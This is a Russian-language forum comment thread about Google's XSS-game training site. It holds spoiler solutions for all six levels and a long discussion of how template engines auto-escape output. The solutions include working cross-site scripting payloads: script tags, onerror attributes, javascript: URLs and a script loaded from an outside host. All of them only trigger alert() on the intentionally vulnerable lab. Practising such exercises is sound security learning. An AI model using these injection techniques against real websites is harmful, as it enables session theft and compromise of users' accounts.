Комментарии 65
С этим фоном я вижу сильные мерцания своего монитора.
Черт, теперь я тоже. А сначала не заметил.
Нестабильность напряжений? Тест тут:
www.lagom.nl/lcd-test/inversion.php
если мерцает в тестах то лучше поменять монитор.
www.lagom.nl/lcd-test/inversion.php
если мерцает в тестах то лучше поменять монитор.
Менять монитор не путь джедая. Интереснее как исправить подсветку на данном. Желательно с сохранением выбора уровня яркости, либо же сразу выставить не максимальную.
это проблема не подсветки, а контроллера матрицы (то есть самой матрицы). вылечить нереально.
подсветку видно на светлых однотонных фонах.
подсветку видно на светлых однотонных фонах.
И правда, грусть в общем. На очень бюджетном ноутбуке такого не наблюдается.
в первом уровне
незачёт :)
<script>window.parent.alert(1)</script>незачёт :)
Можно требовать вознаграждение!
Кстати Гугл Хром отправляет сюда www.google.com.ua/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=%3Cscript%3Ewindow.parent.alert(1)%3C%2Fscript%3E если просто ввести в строку поиска. А ведь раньше выполняло так js
(deleted)
Для того, чтобы это действительно было XSS, надо как-то обойтись без parent. Например, так. Хотя, конечно же, важен не сам вызов alert, а возможность выполнения произвольного кода.
Секрет, открывать после выполнения!
Торт дали, ура!!! Но последнее задание, ИМХО, не корректно.
Торт дали, ура!!! Но последнее задание, ИМХО, не корректно.
НЛО прилетело и опубликовало эту надпись здесь
Нереальное
Я не про решение, а про саму суть задания. Не представляю кто мог бы так сделать: одновременно передавать адрес подгружаемого скрипта через URL(???) и запрашивать его напрямую через добавление тега. Причем с какой то искусственной проверкой на http. Причем загрузить в любом случае можно любой ресурс с твоего сервера (??).
Т.е. сама по себе задача уже не уровня начального уровня, чтобы выдумать такое. Ну это мое личное мнение.
Т.е. сама по себе задача уже не уровня начального уровня, чтобы выдумать такое. Ну это мое личное мнение.
Хм, а у меня другой вариант получился.
Скрытый текст
https://xss-game.appspot.com/level6/frame#//fpaste.org/106147/15457301/raw/А вот еще вариант
url.match вызывается без модификаторов, Https тоже прокатит.
А можно просто
перед https поставить пробел
У меня это решение не работает.
Couldn't load gadget from //fpaste.org/106147/15457301/raw/
Мб дело в браузере? FireFox юзаю.
Couldn't load gadget from //fpaste.org/106147/15457301/raw/
Мб дело в браузере? FireFox юзаю.
У fpaste.org что-то с SSL-сертификатом, firefox не пропускает поэтому, добавьте его в исключение в новом окне или другой домен попробуйте.
Я сначала со своего домена и пробовал, не получилось. ) Решил потестить решение из комментов, удивился что тоже не сработало.
А можно проще:
Регистр в регулярке не учитывается: одна большая буква и проходит тест.
Так самое простое
Скрытый текст
удалено
Над подсказками им нужно ещё поработать (я сначала прохожу самостоятельно, но потом читаю хинты — просто из любопытства):
level 3
С чего это они решили, что, как и на предыдущем уровне, не получится использовать
<script> и нужно обязательно использовать атрибуты вроде onerror?level 4
Не понятно, зачем они упомянули entity — уровень проходится без необходимости что-либо экранировать.
level 6
Тут я облажался — прочитав выше в комментариях что у людей сложности с последним уровнем мне даже не пришло в голову, что regexp может быть case-sensitive, поэтому уровень сначала прошёл через
data:, а уже потом почитав подсказки понял, что всё намного проще.Ну, учитывая что они хотели этой игрой показать, как легко можно всё хакнуть — они эту цель достигли. Но вообще-то от такой игры хотелось чего-то более сложного/интересного. Когда-то давно проходил разные hack quest-ы, там всё было значительно интереснее. :)
Не знаю… Мне как то не очень легко. Я вот на 4м уровне застрял. Помойму оно все таки энкодит данные с GET'a. Никак не могу кавычку поставить у onload startTimer:)
Хмм… Не знал, что в js
& # 3 9 ; и кавычка это одно и тоже. Всегда считал что ' обрабатывается как набор символов.Оно одно и тоже не в js, а в html. А js внутри html хранится, потому и работает.
Тогда какой смысл от php'ного htmlentities? Если браузер все равно трактует хтмл коды как спец символы?
Дело не в HTML, а именно в JavaScript внутри исполняемых атрибутов. Из-за того, что значение атрибута может ограничивать апострофами или кавычками — стандарт предписывает экранировать эти символы внутри такого атрибута и, соответственно, JS декодирует их обратно.
www.w3.org/TR/html401/appendix/notes.html#notes-specifying-data
В данном случае, пользовательские данные попали непосредственно внутрь атрибута без самого тега, что и является уязвимостью.
htmlentities не спасает от всех уязвимостей на свете. Но и ситуация занятная — дать пользователю возможность указывать только атрибут. Если бы пользователь передавал обычный HTML внутрь, то экранирование бы сработало нормально, так как не сформировался бы тег, заменились бы угловые скобки на < и >
www.w3.org/TR/html401/appendix/notes.html#notes-specifying-data
В данном случае, пользовательские данные попали непосредственно внутрь атрибута без самого тега, что и является уязвимостью.
htmlentities не спасает от всех уязвимостей на свете. Но и ситуация занятная — дать пользователю возможность указывать только атрибут. Если бы пользователь передавал обычный HTML внутрь, то экранирование бы сработало нормально, так как не сформировался бы тег, заменились бы угловые скобки на < и >
Я не пойму, что вы все там вообще экранируете? 4-й уровень проходится вводом в поле
Скрытый текст
без какого-либо экранирования. ЧЯДНТ?3');alert('
Эмм, экранируем не мы, а гугл, пытаясь, якобы, защититься, гляньте в source.
А, понял, шаблонизатор экранирует по правилам для html, и в результате в исходнике страницы иногда можно увидеть entity, что они хинтом и объяснили. Дошло. :)
BTW, я как раз сегодня узнал о существовании шаблонизаторов, которые экранируют подставляемые значения автоматически определяя правила экранирования из контекста. И мне эта идея резко не понравилась. Ну то есть классно, что они наконец-то дозрели до понимания того, что шаблонизатор должен экранировать по умолчанию. Но вот автоматически определять как именно экранировать — плохая идея! Ничего, ещё года 3-4, глядишь, и это дойдёт. И данный пример неплохо иллюстрирует, почему именно эта идея — плохая.
BTW, я как раз сегодня узнал о существовании шаблонизаторов, которые экранируют подставляемые значения автоматически определяя правила экранирования из контекста. И мне эта идея резко не понравилась. Ну то есть классно, что они наконец-то дозрели до понимания того, что шаблонизатор должен экранировать по умолчанию. Но вот автоматически определять как именно экранировать — плохая идея! Ничего, ещё года 3-4, глядишь, и это дойдёт. И данный пример неплохо иллюстрирует, почему именно эта идея — плохая.
Объясните, почему эта идея — плохая? Сейчас используем именно такой шаблонизатор и в атрибуты, в которые можно записать исполняемый JS — он бы сэкранировал все правильно (данный пример бы не прокатил).
То, что некоторые шаблонизаторы считают все теги — одинаковые, и все атрибуты одинаковыми — это говорит о том, что шаблонизаторы плохие ведь?
То, что некоторые шаблонизаторы считают все теги — одинаковые, и все атрибуты одинаковыми — это говорит о том, что шаблонизаторы плохие ведь?
Мне не нравится сама идея, что шаблонизатор должен понимать формат данных, куда он что-то подставляет. Особенно такой сложный, как html, у которого внутри может оказаться js, css, какой-нить svg, причём внутри html-тегов тоже может оказаться заинлайненный js, css плюс url (параметры которых тоже нужно экранировать).
Во-первых, меня беспокоят проблемы производительности на разбор формата.
Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.
В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде
Это с ходу. Возможно, не все мои примеры актуальны, но просто это по определению болото с кучей грабель в самых неожиданных местах, поэтому правильнее всего чтобы шаблонизатор предоставлял разработчику несколько разных видов разделителей вроде {{…}} использующих разные алгоритмы экранирования.
А если Вы считаете, что в этих особых случаях программист сделает особую обработку — позвольте заранее не согласиться: люди быстро привыкнут, что всё экранируется само собой, и перестанут даже задумываться на эту тему. Поэтому лучше не отучать их об этом задумываться.
Во-первых, меня беспокоят проблемы производительности на разбор формата.
Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.
В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде
href="site.com/path?var1=val1&{{params}}" я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url="site.com/path?var1=val1&{{params}}" (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?Это с ходу. Возможно, не все мои примеры актуальны, но просто это по определению болото с кучей грабель в самых неожиданных местах, поэтому правильнее всего чтобы шаблонизатор предоставлял разработчику несколько разных видов разделителей вроде {{…}} использующих разные алгоритмы экранирования.
А если Вы считаете, что в этих особых случаях программист сделает особую обработку — позвольте заранее не согласиться: люди быстро привыкнут, что всё экранируется само собой, и перестанут даже задумываться на эту тему. Поэтому лучше не отучать их об этом задумываться.
Если контекст указывается явно — все хорошо. Вот, например, как это сделано в Twig; особенно удобно определять контекст autoescape-блоками.
Постараюсь ответить.
Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.
Тоже никаких проблем, просто не нужно разделять один тег и один атрибут по шаблонам.
У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега. Никаких ИИ)
К тому же, webkit ведь как-то справляется без ошибок правда?)
Во-первых, меня беспокоят проблемы производительности на разбор формата.
Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.
Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.
Тоже никаких проблем, просто не нужно разделять один тег и один атрибут по шаблонам.
В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде href=«site.com/path?var1=val1&{{params}}» я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url=«site.com/path?var1=val1&{{params}}» (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?
У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега. Никаких ИИ)
К тому же, webkit ведь как-то справляется без ошибок правда?)
Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.
К тому же, webkit ведь как-то справляется без ошибок правда?)Ну, сколько ошибок в современных браузерных движках проще всего увидеть в их баг-трекерах. Но в любом случае, уверяю, описание «без ошибок» и близко не отражает реальность. :)
Корректный разбор html, со всеми форматами которые могут оказаться внутри странички — это очень сложная задача. Я не утверждаю, что невозможная — браузеры действительно с ней сравляются — но она слишком сложна для реализации в шаблонизаторе ради автоматического определения контекста. Поэтому максимум, что может делать шаблонизатор — использовать упрощённый алгоритм и корректно определять контекст в большинстве случаев. Лично меня «в большинстве случаев» в задачах связанных с безопасностью категорически не устраивает.
не нужно разделять один тег и один атрибут по шаблонамЯ имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя:
Welcome, {{user}}!. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2, и как значение атрибута тега (напр. hidden input в форме для вывода приветствия на следующей странице после отправки формы) и как значение параметра url (аналогично назначению hidden input). (Не будем придираться, что передавать текст приветствия юзера параметром на следующую страницу это маразм — суть в том, что содержимое шаблона может оказаться в разных контекстах.)У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега.Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.
Кроме того, Вы не ответили как шаблонизатор разберётся как правильно экранировать описанные мной случаи с параметрами url.
Корректный разбор html, со всеми форматами которые могут оказаться внутри странички — это очень сложная задача.
Это при условии полной свободы, нас вполне устраивают логичные ограничения со стороны шаблонизатора. Это позволяет и логику держать в чистоте и безопасность.
Я имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя: Welcome, {{user}}!.. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2
Ну и что, никаких проблем опять же. Контекст определяется в месте вставки элемента куда-то, а не заранее.
Вставляем в HTML-атрибут — будет соответствующее экранирование, вставляем просто в HTML — тоже. Вставляем в JS — свое, в письмо — свое. Причем, настраивается не только глобально, но и локально (на уровне элемента-родителя) и на уровне проекта.
Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.
Кроме того, Вы не ответили как шаблонизатор разберётся как правильно экранировать описанные мной случаи с параметрами url.
Нет, дерево мы разбираем до подстановки значений, но значения у нас подставляются не как в шаблонизаторах типа smarty, twig и др. Ближе всего для понимания будет это, только декларативно.
Соответственно, URL у нас формируется не так, как вы описали, не внутри HTML. Да и вообще все ссылки у нас формируются на основе роутинга и ссылка будет являться объектом, который может внутри себя содержать и регулярку с подстановкой.
Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.
У нас нет необходимости выдергивать значения из HTML, он просто парсится, как обычное дерево, но с гораздо более эффективными возможностями по его изменению (грубо говоря, массив значений, а не объектов). Эта часть написана на C (расширение PHP). Да и говорить о скорости разбора шаблон нет смысла — лично у нас проект компилируется и все что можно подставляется в этот момент.
К сожалению, пока у нас нет публичной версии, поэтому, наверное, говорить о скоростях или выгоде бессмысленно, но пока подход, что любой элемент (строка, URL, значение, атрибут, тег) является объектом себя оправдывает, так как позволяет декларативно настраивать типы на всех уровнях.
Понятно. Ну, звучит вполне здраво, но Ваш шаблонизатор достаточно сильно отличается от традиционных, которые я подразумевал в исходном комментарии.
Это похоже на XSLT. :)
Да, вы верно заметили и у нас есть разработка с использованием XSLT, пока не используемая.
А конкретно, для создания web-компонентов, где HTML-компонента задается через XML (по сути XHTML), и для каждого компонента есть XSLT для обработки. На выходе мы имеем возможность создавать любые элементы не только с использованием стандартных тегов, но любых (причем XSD дает нам подсветку синтаксиса).
Например, для bootstrap можно создать компоненты: alert, tab, btn и т.д., а в разметке соответственно:
Это на выходе из трансформации с XSLT превратится в:
Обычно XSLT используется, как загрузчик данных в шаблон, а так как это очень частая операция, а синтаксис XSLT сложен, то накладные расходы для frontend'а слишком высокие. А web-компонент описывается один раз, к тому же XSLT поддерживается всеми браузерами (*) и языками.
Ах, да еще и namespaces из коробки для XML тоже очень удобно и для подсветки и для загрузки нужно библиотеки.
А конкретно, для создания web-компонентов, где HTML-компонента задается через XML (по сути XHTML), и для каждого компонента есть XSLT для обработки. На выходе мы имеем возможность создавать любые элементы не только с использованием стандартных тегов, но любых (причем XSD дает нам подсветку синтаксиса).
Например, для bootstrap можно создать компоненты: alert, tab, btn и т.д., а в разметке соответственно:
<alert type="success">Текст</alert>
Это на выходе из трансформации с XSLT превратится в:
<div class="alert alert-success"></div>
Обычно XSLT используется, как загрузчик данных в шаблон, а так как это очень частая операция, а синтаксис XSLT сложен, то накладные расходы для frontend'а слишком высокие. А web-компонент описывается один раз, к тому же XSLT поддерживается всеми браузерами (*) и языками.
Ах, да еще и namespaces из коробки для XML тоже очень удобно и для подсветки и для загрузки нужно библиотеки.
Объясните, пожалуйста, почему во втором уровне не работает тег <script>. Тег успешно вставляется, но исполнения кода не происходит… Почему?
script elements inserted using innerHTML do not execute when they are inserted.
www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0
Круть! Спасибо за ссылку ))
Универсальный рецепт прохождения каждого уровня. Но ваша карма за это пострадает.
Внимание, спойлер
Вмето чего угодно внутри фрейма вставляем
<b onclick="alert('Done. You are the best');">Next level</b>
Слишком просто, как только стало хотя бы немного интересно — все и закончилось. :) Правда, с последним излишне заморочился —
Скрытый текст
ну зато нагуглил rawgit.com/, чтобы по https с правильным content-type отдать. Потом понял, что можно обойтись data. ;)
Напомнило как давным давно команда журнала «Хакер» устраивала подобные конкурсы. Было интересно, жаль, что больше не устраивают. А в последнем их конкурсе победителю обещали крутой набор из беспроводной клавиатуры и мыши, вроде, но приза почему то так и не дали.
Ну все, не выдержал! Выкладываю свои решения. Только смотрите после того, как пройдете сами.
Level1
https://xss-game.appspot.com/level1/frame?query='+">+<script>alert('XSS!')</script>+"'Level2
Тут нужно править Local Storage ключ postDB и смотреть на изменения HTML маркапа в браузере после обновления содержимого чата
{"posts":[{"message":"</table><img src='http://localhost/1.jpg' onerror='javascript:alert(123)'","date":1401689467145}]}Level3
https://xss-game.appspot.com/level3/frame#4.jpg' onerror='javascript:alert(123)' /><!--Level4
https://xss-game.appspot.com/level4/frame?timer=')/ alert('123Level5
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('123')Level6
https://xss-game.appspot.com/level6/frame#//dl.dropboxusercontent.com/s/br98ryrw9fq3c4p/check.js
И к чему эта простыня спойлеров? Задания и так легкие, сверху уже проспойлерили, а вы вот так вот сразу прохождение. Не спортивно!
Задания действительно легкие, но просто хотелось поделиться своими решениями, хоть они может быть и будут похоже на решения остальных. Совсем не хотел чтобы это выглядело как «не спортивное поведение». Раз это тема информационной безопасности, то было бы классно рассмотреть решения каждого уровня.
И в общем-то за решение данных уровней никто не выдает ценных призов или признания. Я к примеру когда увидел статью на хабре, понесся решать задачки и не смотрел в комментарии. Как только решил задачи, пошел читать комментарии, было интересно посмотреть как решали другие. Вот и все. Я не хотел никому навредить или отбить желание решать задачки. В следующий раз буду знать, что выкладывать решения тут не стоит. Извините.
Тут нужно править Local Storage ключ postDB и смотреть на изменения HTML маркапа в браузерео_О
Ну а что тут необычного? Вместо того, чтобы отправлять сообщение в чат, проще править одно сообщение, которое хранится в LocalStorage. В LocalStorage хранится массив объектов сообщений, в начале оно там одно. Вот и можно спокойненько подобрать нужный вектор. При этом обновлять страничку, чтобы приложение чата брало уже измененное сообщение из LocalStorage. Просто мне так было удобнее.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
XSS-game от Google